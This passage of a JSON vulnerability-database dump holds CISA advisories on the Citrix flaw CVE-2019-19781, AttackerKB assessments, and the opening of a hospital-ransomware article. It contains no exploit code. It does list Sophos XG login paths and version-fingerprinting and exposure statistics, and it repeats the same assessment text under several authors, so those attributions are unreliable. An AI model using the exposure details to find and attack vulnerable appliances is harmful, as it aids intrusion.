2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-01-23T00:00:00", "type": "cisa", "title": "Citrix Releases Security Updates for SD-WAN WANOP", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2020-01-23T00:00:00", "id": "CISA:8AA4B67E8B2150628DAEB8C3A98C4BEC", "href": "https://us-cert.cisa.gov/ncas/current-activity/2020/01/23/citrix-releases-security-updates-sd-wan-wanop", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-02-24T18:06:51", "description": "Citrix has released an article with updates on CVE-2019-19781, a vulnerability affecting Citrix Application Delivery Controller (ADC) and Citrix Gateway. This vulnerability also affects Citrix SD-WAN WANOP product versions 10.2.6 and version 11.0.3. The article includes updated mitigations for Citrix ADC and Citrix Gateway Release 12.1 build 50.28. An attacker could exploit CVE-2019-19781 to take control of an affected system. Citrix plans to begin releasing security updates for affected software starting January 20, 2020.\n\nThe Cybersecurity and Infrastructure Security Agency (CISA) recommends users and administrators:\n\n * Review the Citrix article on [updates on Citrix ADC, Citrix Gateway vulnerability](<https://www.citrix.com/blogs/2020/01/17/citrix-updates-on-citrix-adc-citrix-gateway-vulnerability/>), published January 17, 2020;\n * See Citrix Security Bulletin [CTX267027 \u2013 Vulnerability in Citrix Application Delivery Controller, Citrix Gateway, and Citrix SD-WAN WANOP appliance](<https://support.citrix.com/article/CTX267027>);\n * Apply the recommended mitigations in [CTX267679 \u2013 Mitigation Steps for CVE-2019-19781](<https://support.citrix.com/article/CTX267679>); and\n * Verify the successful application of the above mitigations by using the tool in [CTX269180 \u2013 CVE-2019-19781 \u2013 Verification ToolTest](<https://support.citrix.com/article/CTX269180>).\n\nThis product is provided subject to this Notification and this [Privacy & Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ncas/current-activity/2020/01/17/citrix-adds-sd-wan-wanop-updated-mitigations-cve-2019-19781>); we'd welcome your feedback.\n", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-01-17T00:00:00", "type": "cisa", "title": "Citrix Adds SD-WAN WANOP, Updated Mitigations to CVE-2019-19781 Advisory", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2020-01-17T00:00:00", "id": "CISA:134C272F26FB005321448C648224EB02", "href": "https://us-cert.cisa.gov/ncas/current-activity/2020/01/17/citrix-adds-sd-wan-wanop-updated-mitigations-cve-2019-19781", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-02-24T18:06:54", "description": "The Cybersecurity and Infrastructure Security Agency (CISA) has released a [utility](<https://github.com/cisagov/check-cve-2019-19781>) that enables users and administrators to test whether their Citrix Application Delivery Controller (ADC) and Citrix Gateway software is susceptible to the CVE-2019-19781 vulnerability. According to Citrix Security Bulletin [CTX267027](<https://support.citrix.com/article/CTX267027>), beginning on January 20, 2020, Citrix will be releasing new versions of Citrix ADC and Citrix Gateway that will patch CVE-2019-19781.\n\nCISA strongly advises affected organizations to review CERT/CC\u2019s Vulnerability Note [VU#619785](<https://www.kb.cert.org/vuls/id/619785/>) and Citrix Security Bulletin [CTX267027 ](<https://support.citrix.com/article/CTX267027>)and apply the mitigations until Citrix releases new versions of the software.\n\nThis product is provided subject to this Notification and this [Privacy & Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ncas/current-activity/2020/01/13/cisa-releases-test-citrix-adc-and-gateway-vulnerability>); we'd welcome your feedback.\n", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-01-13T00:00:00", "type": "cisa", "title": "CISA Releases Test for Citrix ADC and Gateway Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2020-01-13T00:00:00", "id": "CISA:661993843C9F9A838ADA8B8B8B9412D1", "href": "https://us-cert.cisa.gov/ncas/current-activity/2020/01/13/cisa-releases-test-citrix-adc-and-gateway-vulnerability", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-09-29T18:14:37", "description": "CISA, the National Security Agency (NSA), and the Federal Bureau of Investigation (FBI) have released a [Joint Cybersecurity Advisory (CSA)](<https://media.defense.gov/2021/Apr/15/2002621240/-1/-1/0/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF>) on Russian Foreign Intelligence Service (SVR) actors scanning for and exploiting vulnerabilities to compromise U.S. and allied networks, including national security and government-related systems.\n\nSpecifically, SVR actors are targeting and exploiting the following vulnerabilities:\n\n * [CVE-2018-13379 Fortinet FortiGate VPN](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>)\n * [CVE-2019-9670 Synacor Zimbra Collaboration Suite](<https://nvd.nist.gov/vuln/detail/CVE-2019-9670>)\n * [CVE-2019-11510 Pulse Secure Pulse Connect Secure VPN](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>)\n * [CVE-2019-19781 Citrix Application Delivery Controller and Gateway](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>)\n * [CVE-2020-4006 VMware Workspace ONE Access](<https://nvd.nist.gov/vuln/detail/CVE-2020-4006>)\n\nAdditionally the White House has released a [statement](<https://www.whitehouse.gov/briefing-room/statements-releases/2021/04/15/fact-sheet-imposing-costs-for-harmful-foreign-activities-by-the-russian-government/>) formally attributing this activity and the SolarWinds supply chain compromise to SVR actors. CISA has updated the following products to reflect this attribution:\n\n * [Alert AA20-352A: APT Compromise of Government Agencies, Critical Infrastructure, and Private Sector Organizations](<https://us-cert.cisa.gov/ncas/alerts/aa20-352a>)\n * [Alert AA21-008A: Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments](<https://us-cert.cisa.gov/ncas/alerts/aa21-008a>)\n * [Alert AA21-077A: Detecting Post-Compromise Threat Activity Using the CHIRP IOC Detection Tool](<https://us-cert.cisa.gov/ncas/alerts/aa21-077a>)\n * [Malware Analysis Report AR21-039A: MAR-10318845-1.v1 - SUNBURST](<https://us-cert.cisa.gov/ncas/analysis-reports/ar21-039a>)\n * [Malware Analysis Report AR21-039B: MAR-10320115-1.v1 - TEARDROP](<https://us-cert.cisa.gov/ncas/analysis-reports/ar21-039b>)\n * Table: SolarWinds and Active Directory/M365 Compromise - Detecting APT Activity from Known TTPs\n * [Remediating Networks Affected by the SolarWinds and Active Directory/M365 Compromise web page](<https://us-cert.cisa.gov/remediating-apt-compromised-networks>)\n * [Emergency Directive 21-01: Mitigate SolarWinds Orion Code Compromise](<https://cyber.dhs.gov/ed/21-01/>)\n\nCISA strongly encourages users and administrators to review [Joint CSA: Russian SVR Targets U.S. and Allied Networks](<https://www.nsa.gov/News-Features/Feature-Stories/Article-View/Article/2573391/russian-foreign-intelligence-service-exploiting-five-publicly-known-vulnerabili/>) for SVR tactics, techniques, and procedures, as well as mitigation strategies.\n\nThis product is provided subject to this Notification and this [Privacy & Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ncas/current-activity/2021/04/15/nsa-cisa-fbi-joint-advisory-russian-svr-targeting-us-and-allied>); we'd welcome your feedback.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-04-15T00:00:00", "type": "cisa", "title": "NSA-CISA-FBI Joint Advisory on Russian SVR Targeting U.S. and Allied Networks", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-11510", "CVE-2019-19781", "CVE-2019-9670", "CVE-2020-4006"], "modified": "2021-09-28T00:00:00", "id": "CISA:E46D6B22DC3B3F8B062C07BD8EA4CB7C", "href": "https://us-cert.cisa.gov/ncas/current-activity/2021/04/15/nsa-cisa-fbi-joint-advisory-russian-svr-targeting-us-and-allied", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}], "attackerkb": [{"lastseen": "2023-01-01T11:13:18", "description": "An issue was discovered in Citrix Application Delivery Controller (ADC) and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0. They allow Directory Traversal.\n\n \n**Recent assessments:** \n \n**kevthehermit** at February 22, 2020 12:29am UTC reported:\n\nAWS had pre built AMIs for these appliances built and supplied to the market place by Citrix.\n\nAt the time of release and for several weeks afterwards, they were still available in their default vulnerable state. Whilst AWS have removed the vulnerable images any AWS account that subscribed to a specific AMI will still have the default vulnerable version.\n\nIf you use this kind of setup it is important to remove any old AMIs and replace them, do not assume that patches will be applied to exising AMIs\n\n**zeroSteiner** at January 02, 2020 3:42pm UTC reported:\n\nAWS had pre built AMIs for these appliances built and supplied to the market place by Citrix.\n\nAt the time of release and for several weeks afterwards, they were still available in their default vulnerable state. Whilst AWS have removed the vulnerable images any AWS account that subscribed to a specific AMI will still have the default vulnerable version.\n\nIf you use this kind of setup it is important to remove any old AMIs and replace them, do not assume that patches will be applied to exising AMIs\n\n**dmelcher5151** at April 16, 2020 12:56am UTC reported:\n\nAWS had pre built AMIs for these appliances built and supplied to the market place by Citrix.\n\nAt the time of release and for several weeks afterwards, they were still available in their default vulnerable state. Whilst AWS have removed the vulnerable images any AWS account that subscribed to a specific AMI will still have the default vulnerable version.\n\nIf you use this kind of setup it is important to remove any old AMIs and replace them, do not assume that patches will be applied to exising AMIs\n\n**bcook-r7** at January 11, 2020 7:23pm UTC reported:\n\nAWS had pre built AMIs for these appliances built and supplied to the market place by Citrix.\n\nAt the time of release and for several weeks afterwards, they were still available in their default vulnerable state. Whilst AWS have removed the vulnerable images any AWS account that subscribed to a specific AMI will still have the default vulnerable version.\n\nIf you use this kind of setup it is important to remove any old AMIs and replace them, do not assume that patches will be applied to exising AMIs\n\n**hrbrmstr** at May 12, 2020 7:56pm UTC reported:\n\nAWS had pre built AMIs for these appliances built and supplied to the market place by Citrix.\n\nAt the time of release and for several weeks afterwards, they were still available in their default vulnerable state. Whilst AWS have removed the vulnerable images any AWS account that subscribed to a specific AMI will still have the default vulnerable version.\n\nIf you use this kind of setup it is important to remove any old AMIs and replace them, do not assume that patches will be applied to exising AMIs\n\n**gwillcox-r7** at October 20, 2020 5:51pm UTC reported:\n\nAWS had pre built AMIs for these appliances built and supplied to the market place by Citrix.\n\nAt the time of release and for several weeks afterwards, they were still available in their default vulnerable state. Whilst AWS have removed the vulnerable images any AWS account that subscribed to a specific AMI will still have the default vulnerable version.\n\nIf you use this kind of setup it is important to remove any old AMIs and replace them, do not assume that patches will be applied to exising AMIs\n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5Assessed Attacker Value: 5\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2019-11-05T00:00:00", "type": "attackerkb", "title": "CVE-2019-19781", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2021-07-27T00:00:00", "id": "AKB:AFC76977-D355-470D-A7F6-FEF7A8352B65", "href": "https://attackerkb.com/topics/x22buZozYJ/cve-2019-19781", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-02-15T14:58:59", "description": "A SQL injection issue was found in SFOS 17.0, 17.1, 17.5, and 18.0 before 2020-04-25 on Sophos XG Firewall devices, as exploited in the wild in April 2020. This affected devices configured with either the administration (HTTPS) service or the User Portal exposed on the WAN zone. A successful attack may have caused remote code execution that exfiltrated usernames and hashed passwords for the local device admin(s), portal admins, and user accounts used for remote access (but not external Active Directory or LDAP passwords)\n\n \n**Recent assessments:** \n \n**hrbrmstr** at April 27, 2020 12:34pm UTC reported:\n\n### Vulnerability Rating/Info\n\nI based the value and exploitability off of the Sophos vulnerability details page: <https://community.sophos.com/kb/en-us/135412> / <https://web.archive.org/web/20200426003614/https://community.sophos.com/kb/en-us/135412>\n\nSophos indicates attackers have been actively compromising these appliances at least as of April 22, 2020 when at least one customer noticed odd field values in their admin console.\n\nGiven that the SQL injection can happen pre-auth, and that both the user-facing and admin-facing interfaces are vulnerable, means this is a pretty severe bug.\n\nIt appears to only provide access to usernames and hashed appliance passwords. Credential reuse is likely the culprit for at least the known successful post-SQLi compromise.\n\n### Exposure Analysis\n\nWe found over 72,000 exposed appliances. Many appear to be service provider/telecom/ISP provisioned and sitting on customer segments.\n\nThe top 20 countries (IP geolocation) make up ~80% of the exposure:\n\ncountry | n | pct \n---|---|--- \nUnited States | 9126 | 12.54% \nIndia | 7989 | 10.98% \nGermany | 5433 | 7.47% \nJapan | 4680 | 6.43% \nItaly | 4338 | 5.96% \nAustralia | 4168 | 5.73% \nTurkey | 3740 | 5.14% \nBrazil | 3526 | 4.85% \nFrance | 2567 | 3.53% \nUnited Kingdom | 1822 | 2.50% \nSouth Africa | 1779 | 2.44% \nCanada | 1658 | 2.28% \nSpain | 1644 | 2.26% \nMalaysia | 1496 | 2.06% \nSwitzerland | 1261 | 1.73% \nColombia | 1124 | 1.54% \nThailand | 1087 | 1.49% \nNetherlands | 932 | 1.28% \nTaiwan | 681 | 0.94% \nPortugal | 611 | 0.84% \n \nThere are 2 primary externally facing HTTP paths:\n\n * Admin @ `https://{host|ip}:{port}/webconsole/webpages/login.jsp` \n\n * User @ `https://{host|ip}:{port}/userportal/webpages/myaccount/login.jsp` \n\n\nI crafted a quick hack study to just see if we could get version info and we can. Sophos does the daft thing Microsoft does for OWA and refers to HTML resources by the version/build (e.g.):\n \n \n <link rel=\"stylesheet\"\n href=\"/themes/lite1/css/loginstylesheet.css?ver=17.5.9.577\"\n type=\"text/css\">\n \n\nI\u2019ll be doing a more thorough path study this week but we got back ~12,500 unique (by IP) responses. Here\u2019s the breakdown (TLDR there\u2019s a decent bit of exposure as of Sunday).\n \n \n Sophos XG Appliance Version Distribution \n ~65,000 Appliances Provided Version Details; \n Only ~25% appear to be patched as of 2020-04-27. \n \n # Sophos Appliances \n 0~ 5,000 10,000 15,000\n 5.01.0.376 x ~ ~ ~ \n 5.01.0.407 x ~ ~ ~ \n 5.01.0.418 x ~ ~ ~ \n 5.01.0.447 x ~ ~ ~ \n 6.01.0.190 x ~ ~ ~ \n 6.01.1.202 xx ~ ~ ~ \n 6.01.2.222 x ~ ~ ~ \n 6.01.3.265 x ~ ~ ~ \n 6.01.4.342 x ~ ~ ~ \n 6.05.0.098 x ~ ~ ~ \n 6.05.0.117 x ~ ~ ~ \n 6.05.1.139 x ~ ~ ~ \n 6.05.2.160 xx ~ ~ ~ \n 6.05.3.183 x ~ ~ ~ \n 6.05.5.233 xx ~ ~ ~ \n 6.05.6.266 xx ~ ~ ~ \n 6.05.7.305 xx ~ ~ ~ \n 6.05.8.320 x ~ ~ ~ \n 17.0.0.32 x ~ ~ ~ \n 17.0.0.80 x ~ ~ ~ \n 17.0.1.98 x ~ ~ ~ \n 17.0.2.116 xx ~ ~ ~ \n 17.0.3.131 x ~ ~ ~ \n 17.0.5.162 xx ~ ~ ~ \n 17.0.6.181 xxxxx ~ ~ ~ \n 17.0.7.191 xxxx ~ ~ ~ \n 17.0.8.209 x ~ ~ ~ \n 17.0.9.217 x ~ ~ ~ \n 17.1.0.152 x ~ ~ ~ \n 17.1.1.175 xx ~ ~ ~ \n 17.1.2.225 xxxx ~ ~ ~ \n 17.1.3.250 xxxxx ~ ~ ~ \n 17.5.0.310 x ~ ~ ~ \n 17.5.0.321 xxx ~ ~ ~ \n 17.5.1.347 xxx ~ ~ ~ \n 17.5.2.381 xxxxxxxxxxxxxxxxxxxxxxxxxx ~ ~ \n 17.5.3.372 x ~ ~ ~ \n 17.5.4.429 xxxxxx ~ ~ ~ \n 17.5.5.433 xxxxxxxxx ~ ~ ~ \n 17.5.6.488 xxxxxx ~ ~ ~ \n 17.5.7.511 xxxxxxxxxxxxxxxxxxxxxxxxx ~ ~ \n 17.5.8.539 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ~ \n 7.5.10.620 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ~ \n 7.5.11.661 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ~ \n 18.0.0.102 x ~ ~ ~ \n 18.0.0.113 x ~ ~ ~ \n 18.0.0.180 x ~ ~ ~ \n 18.0.0.285 x ~ ~ ~ \n 18.0.0.321 xx ~ ~ ~ \n 18.0.0.339 xxxxxx ~ ~ ~ \n 18.0.0.354 xx ~ ~ ~ \n 18.0.1.368 x ~ ~ ~ \n ~ Source: Rapid7 Project Sonar April 2020 HTTPS Studies~ \n \n\nAs of 2020-04-28 ~25% appliances do not leave the \u201cauto-update hotfix\u201d setting on.\n\nOur blog on it: <https://blog.rapid7.com/2020/04/27/cve-2020-12271-sophos-xg-firewall-pre-auth-sql-injection-vulnerability-remediation-guidance-and-exposure-overview/> | <https://web.archive.org/web/20200428094002/https://blog.rapid7.com/2020/04/27/cve-2020-12271-sophos-xg-firewall-pre-auth-sql-injection-vulnerability-remediation-guidance-and-exposure-overview/>\n\n**busterb** at April 29, 2020 1:24pm UTC reported:\n\n### Vulnerability Rating/Info\n\nI based the value and exploitability off of the Sophos vulnerability details page: <https://community.sophos.com/kb/en-us/135412> / <https://web.archive.org/web/20200426003614/https://community.sophos.com/kb/en-us/135412>\n\nSophos indicates attackers have been actively compromising these appliances at least as of April 22, 2020 when at least one customer noticed odd field values in their admin console.\n\nGiven that the SQL injection can happen pre-auth, and that both the user-facing and admin-facing interfaces are vulnerable, means this is a pretty severe bug.\n\nIt appears to only provide access to usernames and hashed appliance passwords. Credential reuse is likely the culprit for at least the known successful post-SQLi compromise.\n\n### Exposure Analysis\n\nWe found over 72,000 exposed appliances. Many appear to be service provider/telecom/ISP provisioned and sitting on customer segments.\n\nThe top 20 countries (IP geolocation) make up ~80% of the exposure:\n\ncountry | n | pct \n---|---|--- \nUnited States | 9126 | 12.54% \nIndia | 7989 | 10.98% \nGermany | 5433 | 7.47% \nJapan | 4680 | 6.43% \nItaly | 4338 | 5.96% \nAustralia | 4168 | 5.73% \nTurkey | 3740 | 5.14% \nBrazil | 3526 | 4.85% \nFrance | 2567 | 3.53% \nUnited Kingdom | 1822 | 2.50% \nSouth Africa | 1779 | 2.44% \nCanada | 1658 | 2.28% \nSpain | 1644 | 2.26% \nMalaysia | 1496 | 2.06% \nSwitzerland | 1261 | 1.73% \nColombia | 1124 | 1.54% \nThailand | 1087 | 1.49% \nNetherlands | 932 | 1.28% \nTaiwan | 681 | 0.94% \nPortugal | 611 | 0.84% \n \nThere are 2 primary externally facing HTTP paths:\n\n * Admin @ `https://{host|ip}:{port}/webconsole/webpages/login.jsp` \n\n * User @ `https://{host|ip}:{port}/userportal/webpages/myaccount/login.jsp` \n\n\nI crafted a quick hack study to just see if we could get version info and we can. Sophos does the daft thing Microsoft does for OWA and refers to HTML resources by the version/build (e.g.):\n \n \n <link rel=\"stylesheet\"\n href=\"/themes/lite1/css/loginstylesheet.css?ver=17.5.9.577\"\n type=\"text/css\">\n \n\nI\u2019ll be doing a more thorough path study this week but we got back ~12,500 unique (by IP) responses. Here\u2019s the breakdown (TLDR there\u2019s a decent bit of exposure as of Sunday).\n \n \n Sophos XG Appliance Version Distribution \n ~65,000 Appliances Provided Version Details; \n Only ~25% appear to be patched as of 2020-04-27. \n \n # Sophos Appliances \n 0~ 5,000 10,000 15,000\n 5.01.0.376 x ~ ~ ~ \n 5.01.0.407 x ~ ~ ~ \n 5.01.0.418 x ~ ~ ~ \n 5.01.0.447 x ~ ~ ~ \n 6.01.0.190 x ~ ~ ~ \n 6.01.1.202 xx ~ ~ ~ \n 6.01.2.222 x ~ ~ ~ \n 6.01.3.265 x ~ ~ ~ \n 6.01.4.342 x ~ ~ ~ \n 6.05.0.098 x ~ ~ ~ \n 6.05.0.117 x ~ ~ ~ \n 6.05.1.139 x ~ ~ ~ \n 6.05.2.160 xx ~ ~ ~ \n 6.05.3.183 x ~ ~ ~ \n 6.05.5.233 xx ~ ~ ~ \n 6.05.6.266 xx ~ ~ ~ \n 6.05.7.305 xx ~ ~ ~ \n 6.05.8.320 x ~ ~ ~ \n 17.0.0.32 x ~ ~ ~ \n 17.0.0.80 x ~ ~ ~ \n 17.0.1.98 x ~ ~ ~ \n 17.0.2.116 xx ~ ~ ~ \n 17.0.3.131 x ~ ~ ~ \n 17.0.5.162 xx ~ ~ ~ \n 17.0.6.181 xxxxx ~ ~ ~ \n 17.0.7.191 xxxx ~ ~ ~ \n 17.0.8.209 x ~ ~ ~ \n 17.0.9.217 x ~ ~ ~ \n 17.1.0.152 x ~ ~ ~ \n 17.1.1.175 xx ~ ~ ~ \n 17.1.2.225 xxxx ~ ~ ~ \n 17.1.3.250 xxxxx ~ ~ ~ \n 17.5.0.310 x ~ ~ ~ \n 17.5.0.321 xxx ~ ~ ~ \n 17.5.1.347 xxx ~ ~ ~ \n 17.5.2.381 xxxxxxxxxxxxxxxxxxxxxxxxxx ~ ~ \n 17.5.3.372 x ~ ~ ~ \n 17.5.4.429 xxxxxx ~ ~ ~ \n 17.5.5.433 xxxxxxxxx ~ ~ ~ \n 17.5.6.488 xxxxxx ~ ~ ~ \n 17.5.7.511 xxxxxxxxxxxxxxxxxxxxxxxxx ~ ~ \n 17.5.8.539 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ~ \n 7.5.10.620 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ~ \n 7.5.11.661 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ~ \n 18.0.0.102 x ~ ~ ~ \n 18.0.0.113 x ~ ~ ~ \n 18.0.0.180 x ~ ~ ~ \n 18.0.0.285 x ~ ~ ~ \n 18.0.0.321 xx ~ ~ ~ \n 18.0.0.339 xxxxxx ~ ~ ~ \n 18.0.0.354 xx ~ ~ ~ \n 18.0.1.368 x ~ ~ ~ \n ~ Source: Rapid7 Project Sonar April 2020 HTTPS Studies~ \n \n\nAs of 2020-04-28 ~25% appliances do not leave the \u201cauto-update hotfix\u201d setting on.\n\nOur blog on it: <https://blog.rapid7.com/2020/04/27/cve-2020-12271-sophos-xg-firewall-pre-auth-sql-injection-vulnerability-remediation-guidance-and-exposure-overview/> | <https://web.archive.org/web/20200428094002/https://blog.rapid7.com/2020/04/27/cve-2020-12271-sophos-xg-firewall-pre-auth-sql-injection-vulnerability-remediation-guidance-and-exposure-overview/>\n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5Assessed Attacker Value: 5\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-04-27T00:00:00", "type": "attackerkb", "title": "CVE-2020-12271: Sophos XG Firewall Pre-Auth SQL Injection Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781", "CVE-2020-12271"], "modified": "2021-03-29T00:00:00", "id": "AKB:75221F03-CFA1-478E-9777-568E523E3272", "href": "https://attackerkb.com/topics/CkJJPr77qk/cve-2020-12271-sophos-xg-firewall-pre-auth-sql-injection-vulnerability", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "malwarebytes": [{"lastseen": "2020-10-08T17:44:01", "description": "A recent ransomware attack which played a significant role in the death of a German woman has put into focus both the dangers and the importance of cybersecurity today. But it has also led some to point fingers as to who was responsible. \n\nAs usual, playing the blame game helps no one, but it does remind us of the dire need to work on healthcare security.\n\n### What happened?\n\nA few weeks ago, the university hospital Uniklinikum in the German city of D\u00fcsseldorf suffered a ransomware attack. The hospital decided not to admit new patients until it resolved the situation and restored normal 